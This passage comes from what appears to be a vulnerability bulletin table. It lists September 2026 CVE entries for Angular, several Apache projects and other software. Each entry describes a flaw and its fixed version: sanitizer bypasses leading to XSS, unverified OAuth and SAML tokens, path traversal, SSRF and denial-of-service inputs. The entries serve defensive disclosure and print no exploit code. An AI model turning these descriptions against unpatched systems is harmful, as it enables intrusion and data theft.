&lt;td&gt;Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.28, 21.2.20, and 22.1.0, Angular&#039;s compiler and runtime in @angular/core and @angular/compiler could omit or select an incorrect sanitizer for security-sensitive directive host bindings because SecurityContext was derived from the declaring directive or component selector rather than the concrete host element. The mismatch is reachable through hostDirectives composition, inherited HostBinding declarations, createComponent with a custom hostElement or dynamic directives, SVG/MathML namespace elements, and tag-neutral selectors such as :not(...). Attacker-controlled href, src, action, xlink:href, or data values can therefore reach DOM attributes without Angular&#039;s built-in sanitizer and execute arbitrary JavaScript in the user&#039;s browser context. Applications unable to upgrade can use DomSanitizer.sanitize with SecurityContext.URL before assignment or restrict inputs to validated HTTP and HTTPS URL schemes. This issue is fixed in versions 20.3.28, 21.2.20, and 22.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88057&quot; target=&quot;_blank&quot;&gt;CVE-2026-88057&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;angular--angular&lt;/td&gt;
&lt;td&gt;Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular server-side rendering (SSR) in @angular/platform-server serializes ProcessingInstruction DOM nodes inside fallback raw-content elements without escaping matching ancestor closing tags. ProcessingInstruction data escaped greater-than characters but left less-than characters untouched and did not inspect fallback ancestors, so data such as a matching closing tag prematurely terminates noscript, iframe, noembed, or noframes containers. The vulnerable nodes cannot be authored through standard Angular templates; reachability requires application or library code using inject(DOCUMENT).createProcessingInstruction with attacker-controlled data or Renderer2 DOM insertion inside a fallback container. In HTML5 RAWTEXT parsing, the premature close causes subsequent sibling elements to be interpreted as live HTML and enables arbitrary JavaScript execution in a victim&#039;s browser. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88058&quot; target=&quot;_blank&quot;&gt;CVE-2026-88058&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;angular--angular&lt;/td&gt;
&lt;td&gt;Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular server-side rendering (SSR) in @angular/platform-server serializes untrusted input inside template content nested in fallback raw-content elements such as noscript, iframe, noembed, and noframes. The Domino serializer&#039;s fallbackRawContentTags traversal stopped at the DocumentFragment used by template.content, so matching closing tags in xmp, style, script, comments, or text nodes were not escaped. Standard interpolation with comments or text nodes is reachable without relaxed schemas; literal xmp or style requires CUSTOM_ELEMENTS_SCHEMA or NO_ERRORS_SCHEMA, while Renderer2 imperative DOM construction is unconditionally affected. When HTML5 RAWTEXT browser parsing encounters the unescaped closing tag, it exits the fallback container and interprets trailing markup as active DOM elements, enabling arbitrary JavaScript execution. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88060&quot; target=&quot;_blank&quot;&gt;CVE-2026-88060&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache ActiveMQ Broker&lt;/td&gt;
&lt;td&gt;Improper input validation in TopicRegion in Apache ActiveMQ, Apache ActiveMQ Broker, and Apache ActiveMQ All&amp;nbsp;on all platforms. An authenticated client can spoof clientId when removing a durable topic subscription. This issue affects Apache ActiveMQ Broker: before 5.19.11, from 6.0.0 before 6.3.2; Apache ActiveMQ All: before 5.19.11, from 6.0.0 before 6.3.2; Apache ActiveMQ: before 5.19.11, from 6.0.0 before 6.3.2. Users are recommended to upgrade to version 6.3.2 or 5.19.11 which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74761&quot; target=&quot;_blank&quot;&gt;CVE-2026-74761&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Airflow FAB provider&lt;/td&gt;
&lt;td&gt;Apache Airflow FAB provider versions 3.7.3 through 3.8.0 do not validate the issuer or audience of Azure AD `id_token`s during OAuth login. Deployments are affected only when the FAB auth manager is configured with Azure AD as an OAuth provider. Because the signing keys are fetched from Microsoft&#039;s **multi-tenant** JWKS endpoint, an `id_token` minted in *any* Azure tenant - including one the attacker creates - passes signature verification, and the username and role assignments are then read from that attacker-controlled token. Anyone able to register an Azure tenant can therefore authenticate to the Airflow UI with no prior access to the deployment. The fix for **CVE-2026-59243** was incomplete, and this advisory closes the remaining gap: that fix made the provider verify the `id_token` signature, but did not add issuer or audience checks. Operators who already applied the CVE-2026-59243 fix are **still affected and must upgrade again** - 3.7.3 is the release that shipped that fix, so every version containing it falls inside this affected range. Upgrade to apache-airflow-providers-fab `3.8.1` or later.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75156&quot; target=&quot;_blank&quot;&gt;CVE-2026-75156&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Ant&lt;/td&gt;
&lt;td&gt;The ftp and scp tasks of Apache Ant can download files from a remote server. A malicious server can provide relative paths that allow it to write outside of the dedicated target directory for the download, making it possible to overwrite files of the attacker&#039;s choice using the permissions of the user running Ant in versions prior to Ant 1.10.18. In order to exploit this vulnerability, the server would either have to be malicious&amp;nbsp;or be subject to a machine-in-the-middle attack. Additionally&amp;nbsp;in the case of scp or the ftp task using ftps the server must pass the server identity checks performed by the tasks. For ftp tasks not using ftps a malicious server could act as a machine-in-the-middle to provide malicious files. Starting with Ant 1.10.18 both tasks will prevent writing outside of the destination directory by default. An option is available to disable this behavior in the unlikely case that the old behavior is required by existing build files. Mitigations: Users of scp and ftp (when using ftps) in any version of Ant should not bypass server identity checks. Users of ftp not using ftps should switch to ftps where possible. All users are recommended to upgrade to Apache Ant 1.10.18, which fixes this issue.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78254&quot; target=&quot;_blank&quot;&gt;CVE-2026-78254&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Artemis&lt;/td&gt;
&lt;td&gt;An unauthenticated remote attacker can create arbitrary durable queues via the CORE protocol, leading to unauthorized broker state manipulation and potential denial of service. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.0.0 through 2.44.0. Users are recommended to upgrade to version 2.57.0, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49362&quot; target=&quot;_blank&quot;&gt;CVE-2026-49362&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Artemis&lt;/td&gt;
&lt;td&gt;An unauthenticated remote attacker connecting with the CORE protocol can discover cluster node details by sending a SUBSCRIBE_TOPOLOGY request prior to authentication. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.0.0 through 2.44.0. Users are recommended to upgrade to version 2.57.0, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49363&quot; target=&quot;_blank&quot;&gt;CVE-2026-49363&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Artemis&lt;/td&gt;
&lt;td&gt;An unauthenticated network-adjacent attacker can leverage discovery to capture cluster administrative credentials during the initial cluster connection handshake. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.0.0 through 2.44.0. Users are recommended to upgrade to version 2.57.0, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49364&quot; target=&quot;_blank&quot;&gt;CVE-2026-49364&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Artemis&lt;/td&gt;
&lt;td&gt;When the broker is processing message-based management requests, sent by an authenticated messaging client that is authorized with MANAGE permission to perform management-via-messaging, the parameter processing can trigger Java deserialization of certain method parameters that the broker will not utilise. The permitted types allow to craft a payload causing excessive computation and pinning the processing thread, leading to denial of service. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.3.0 through 2.44.0. Users are recommended to upgrade to version 2.57.0, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57822&quot; target=&quot;_blank&quot;&gt;CVE-2026-57822&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Artemis&lt;/td&gt;
&lt;td&gt;An unauthenticated remote attacker can craft a CORE protocol SESSION_REATTACH packet to steal an existing session and assume ongoing execution of the previously authenticated session. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.0.0 through 2.44.0. Users are recommended to upgrade to version 2.57.0, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57967&quot; target=&quot;_blank&quot;&gt;CVE-2026-57967&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Artemis&lt;/td&gt;
&lt;td&gt;A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.0.0 through 2.44.0. Users are recommended to upgrade to version 2.57.0, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67593&quot; target=&quot;_blank&quot;&gt;CVE-2026-67593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Artemis&lt;/td&gt;
&lt;td&gt;An authenticated client could attach a consumer with a selector containing crafted wildcard usage that results in excessive evaluation during message delivery attempts, occupying a shared broker thread and leading to denial of service. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.0.0 through 2.44.0. Users are recommended to upgrade to version 2.57.0, which fixes this issue.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75880&quot; target=&quot;_blank&quot;&gt;CVE-2026-75880&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Camel K&lt;/td&gt;
&lt;td&gt;Improper neutralization of directives in dynamically evaluated code (&#039;eval injection&#039;) vulnerability in Apache Camel K. An improper neutralization of directives in dynamically evaluated Maven configuration allows tenant-controlled repository content to influence code execution within the operator pod, potentially enabling tenants to execute arbitrary code with the privileges of the operator. This issue affects Apache Camel K: from 2.0.0 before 2.9.3, from 2.10.1 before 2.10.2. Users are recommended to upgrade to version 2.9.3, 2.10.2 or 2.11.0, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80351&quot; target=&quot;_blank&quot;&gt;CVE-2026-80351&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Camel K&lt;/td&gt;
&lt;td&gt;Improper Control of Generation of Code (&#039;Code Injection&#039;) vulnerability in Apache Camel K. A YAML injection vulnerability in custom resource configuration allows an authorized CR author to inject arbitrary Kubernetes objects, potentially enabling unauthorized resource creation with the privileges of the operator. This issue affects Apache Camel K: from 2.0.0 before 2.9.3, from 2.10.1 before 2.10.2. Users are recommended to upgrade to version 2.9.3, 2.10.2 or 2.11.0, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80352&quot; target=&quot;_blank&quot;&gt;CVE-2026-80352&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Camel K&lt;/td&gt;
&lt;td&gt;Authorization bypass through User-Controlled key vulnerability in Apache Camel K. An authorization vulnerability in custom resource resolution allows a tenant to reference secrets by name in the operator namespace, potentially exposing secrets belonging to other tenants or operator components. This issue affects Apache Camel K: from 2.0.0 before 2.9.3, from 2.10.1 before 2.10.2. Users are recommended to upgrade to version 2.9.3, 2.10.2 or 2.11.0, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80354&quot; target=&quot;_blank&quot;&gt;CVE-2026-80354&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache FreeMarker&lt;/td&gt;
&lt;td&gt;Path traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it&#039;s by default enabled). This issue affects Apache FreeMarker from 2.2.0 through 2.3.34. Users are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this. Note that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism-for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84939&quot; target=&quot;_blank&quot;&gt;CVE-2026-84939&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Impala&lt;/td&gt;
&lt;td&gt;Specifying tblproperties(&#039;avro.schema.url&#039;=&#039; http://...&#039; ) or with a &#039;file:///&#039; URI on a table in Impala 2.0.0 to 4.5.1 on all platforms allows an attacker to trigger a GET request to internal endpoints they may not have access to but that Impala does and the response my be exposed via parsing error messages. Users are recommended to upgrade to version 4.5.2, which fixes this issue.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54048&quot; target=&quot;_blank&quot;&gt;CVE-2026-54048&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Impala&lt;/td&gt;
&lt;td&gt;Signature of Bearer token is not verified in last step of SAML2 authentication for Impala&#039;s hs2-http interface, allowing altering user name and acting as another user. This issue affects Apache Impala: &amp;gt;=4.0.0. Users are recommended to upgrade to version 4.5.2, which fixes this issue.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56207&quot; target=&quot;_blank&quot;&gt;CVE-2026-56207&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Impala&lt;/td&gt;
&lt;td&gt;Server side request forgery in Apache Impala versions 4.4.x and 4.5.x.&amp;nbsp; Authenticated Impala users with permissions to execute the&amp;nbsp;ai_generate_text() function can exfiltrate secrets provided by the credential providers configured in the `hadoop.security.credential.provider.path` property of `core-site.xml`. The secret&#039;s key must be known to the user.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57866&quot; target=&quot;_blank&quot;&gt;CVE-2026-57866&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Impala&lt;/td&gt;
&lt;td&gt;Insufficient authorization of Data Source tables in Impala 2.7-4.5 allows a client with privileges to upload a file to remote storage and create a table to execute arbitrary Java code. Users are recommended to upgrade to version 4.5.2, which fixes this issue.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65181&quot; target=&quot;_blank&quot;&gt;CVE-2026-65181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Nutch&lt;/td&gt;
&lt;td&gt;Missing Authorization, Improper Resource Shutdown and Job Interruption vulnerability in Apache Nutch Server (Nutch REST API). This issue affects Apache Nutch: from 1.10 through 1.22. Users are recommended to upgrade to version 1.23, which removes the Nutch Server. If an upgrade is not possible, user must restrict access to instances running the Nutch Service to trusted users only. Please, also visit the Apache Nutch security advisories https://nutch.apache.org/documentation/security/ .&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-41869&quot; target=&quot;_blank&quot;&gt;CVE-2026-41869&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Nutch&lt;/td&gt;
&lt;td&gt;Missing Authorization, Improper Control of Generation of Code (&#039;Code Injection&#039;), Improper Control of Dynamically-Managed Code Resources, Use of Externally-Controlled Input to Select Classes or Code (&#039;Unsafe Reflection&#039;) vulnerability&amp;nbsp;in Apache Nutch Server (Nutch REST API). This issue affects Apache Nutch: from 1.11 through 1.22. Users are recommended to upgrade to version 1.23, which removes the Nutch Server. If an upgrade is not possible, user must restrict access to instances running the Nutch Service to trusted users only. Please, also visit the Apache Nutch security advisories https://nutch.apache.org/documentation/security/ .&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-41870&quot; target=&quot;_blank&quot;&gt;CVE-2026-41870&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Nutch&lt;/td&gt;
&lt;td&gt;Missing Authorization, Use of Externally-Controlled Input to Select Classes or Code (&#039;Unsafe Reflection&#039;) vulnerability&amp;nbsp;in Apache Nutch Server (Nutch REST API). This issue affects Apache Nutch: from 1.10 through 1.22. Users are recommended to upgrade to version 1.23, which removes the Nutch Server. If an upgrade is not possible, user must restrict access to instances running the Nutch Service to trusted users only. Please, also visit the Apache Nutch security advisories https://nutch.apache.org/documentation/security/ .&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-41871&quot; target=&quot;_blank&quot;&gt;CVE-2026-41871&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache OpenNLP&lt;/td&gt;
&lt;td&gt;OOM Denial of Service via Unbounded Map Pre-Sizing in Apache OpenNLP SymSpellModelSerializer Versions Affected: - 3.0.0-M4 - 3.0.0-M5 (The opennlp-spellcheck extension was introduced in 3.0.0-M4. Releases 1.x and 2.x do not contain the affected code.) Description: The SymSpellModelSerializer.create() method reads two 32-bit signed integer count fields (unigramCount and bigramCount) from a binary SymSpell model stream and passes each value directly to LinkedHashMap.newLinkedHashMap() after validating only that it is non-negative. No upper bound is applied, so the count is fully attacker-controlled when the model file originates from an untrusted source. A crafted .bin model file in which either count field is set to Integer.MAX_VALUE (or any value large enough to exhaust the available heap) causes the map to be pre-sized to a capacity of 2^30 entries. The oversized backing array is allocated on the first put() into that map, requesting 4-8 GB depending on whether compressed oops are in effect, and the load fails with an OutOfMemoryError. Because the count fields sit immediately after a fixed-size header (magic, format version, three UTF strings, the configuration fields, and the edit-distance identifier) the attacker pays no meaningful size cost to weaponize a payload: a file of well under 100 bytes plus a single real entry is sufficient to crash a JVM that loads it. Any code path that deserializes a SymSpell model is affected, including SymSpellModels.deserialize(InputStream), SymSpellModels.fromBytes(byte[]), classpath model loading via SymSpellModelResolver.resolveByLanguage(String), the CorrectTextTool command-line tool, and model-archive loading through the registered ArtifactSerializer. The opennlp-spellcheck extension ships in the official OpenNLP binary distribution. The practical impact is denial of service against processes that load SymSpell model files from untrusted or semi-trusted origins. Mitigation: - 3.x users should upgrade to 3.0.0-M6. Note: The fix applies an upper bound to both count fields, checked before the map is pre-sized; counts that are negative or exceed the bound cause an IOException to be thrown and the read to fail fast with no large allocation. The bound is the existing AbstractModelReader.MAX_ENTRIES limit introduced earlie, which the current change promotes to public visibility so that serializers implementing their own binary format can share it. The default bound is 10,000,000, which is well above the entry counts of legitimate SymSpell dictionaries but far below any value that would threaten heap exhaustion. Deployments that legitimately need to load larger dictionaries can raise the limit at JVM startup by setting the OPENNLP_MAX_ENTRIES system property to the desired positive integer (e.g. -DOPENNLP_MAX_ENTRIES=50000000); invalid or non-positive values fall back to the default. Note that this property is shared with the model-reader limit and raising it relaxes both. Users who cannot upgrade immediately should treat all SymSpell .bin model files as untrusted input unless their provenance is verified, and should avoid loading models supplied by end users or fetched from third-party repositories without integrity checks.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67211&quot; target=&quot;_blank&quot;&gt;CVE-2026-67211&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache OpenNLP&lt;/td&gt;
&lt;td&gt;The two built-in name-finder patterns exposed by opennlp.tools.namefind.RegexNameFinderFactory - DEFAULT_REGEX_NAME_FINDER.EMAIL and DEFAULT_REGEX_NAME_FINDER.URL&amp;nbsp;- contain ambiguous nested quantifiers. An application that obtains these finders through RegexNameFinderFactory.getDefaultRegexNameFinders(...) and then applies them to untrusted text through RegexNameFinder.find(String[]) or RegexNameFinder.find(String) can be driven into super-linear backtracking or into unbounded matcher recursion by a small crafted input. For the EMAIL pattern, a long run of local-part characters that is never followed by an @ forces the matcher to re-scan to end-of-input from every starting offset. Cost grows quadratically with input length: an input of approximately 32 KB consumes several seconds of CPU in a single find() call and returns no match, and each doubling of the input multiplies the cost roughly four-fold. For the URL pattern, the query-string sub-expression nests a capturing repetition inside an outer repetition. The JDK matcher recurses once per query token, so an input of approximately 4 KB containing many &amp;amp;-separated tokens exhausts the thread stack and causes java.lang.StackOverflowError to propagate out of find(), terminating the calling thread. On a thread created with a smaller stack (for example -Xss512k, typical of server worker pools) approximately 1 KB is sufficient. In both cases an attacker who can supply text for analysis can convert a single request into seconds to minutes of pinned CPU, or into an abrupt thread death, denying service to the embedding application. No authentication, special configuration, or model file is required beyond the application having selected one of the two built-in finders. This issue affects Apache OpenNLP: from 2.0.0 through 2.5.11; from 3.0.0-M1 through 3.0.0-M5. Users are recommended to upgrade to version 2.5.12, or to 3.0.0-M6 for users tracking the 3.0.0 milestone line, which fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82617&quot; target=&quot;_blank&quot;&gt;CVE-2026-82617&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Parquet Hadoop&lt;/td&gt;
&lt;td&gt;Potential problem for users of the&amp;nbsp;org.apache.parquet.crypto.keytools package in Apache Parquet, versions 1.12 to 1.18. This package enables users to encrypt Parquet files via an envelope encryption mechanism that wraps (encrypts) data keys via a Key Management Service (KMS).&amp;nbsp; On the reader side, the KMS URL can be application-controlled or file-controlled. If the user does not leverage application control for this parameter, a file-controlled KMS URL is forwarded to a pluggable KmsClient implementation. If the pluggable implementation does not perform host validation, a KMS token can be sent to a malicious host set by an attacker in the file. Before the problem is fixed, users are recommended to&amp;nbsp;leverage application control for KMS URL parameter in readers (versions 1.12-1.18). After the problem is fixed (presumably in version 1.19), the upgrade will disable file-controlled KMS URL by default. Users of the KMS URL parameter&amp;nbsp; will have two options then:&amp;nbsp;leverage application control for KMS URL parameter in readers, or enable file-controlled&amp;nbsp;KMS URL (via a new app parameter). The latter option will explicitly require (in the new parameter documentation) to validate the KMS URL and use authentication in the custom implementation of the KMS client plug in.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73334&quot; target=&quot;_blank&quot;&gt;CVE-2026-73334&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AppFlowy--AppFlowy 0.11.8&lt;/td&gt;
&lt;td&gt;An issue in AppFlowy 0.11.8 allows a remote attacker to execute arbitrary code via the afLaunchUri, _afLaunchLocalUri (url_launcher.dart), OpenFilex.open, localPathRegex (common_patterns.dart) components&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52097&quot; target=&quot;_blank&quot;&gt;CVE-2026-52097&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;appleple inc.--a-blog cms&lt;/td&gt;
&lt;td&gt;a-blog cms Ver. 3.2.33 and earlier contains a path traversal vulnerability, which allows an unauthenticated attacker to read or delete arbitrary files on the affected product.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87727&quot; target=&quot;_blank&quot;&gt;CVE-2026-87727&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AppNitro-- MachForm v30&lt;/td&gt;
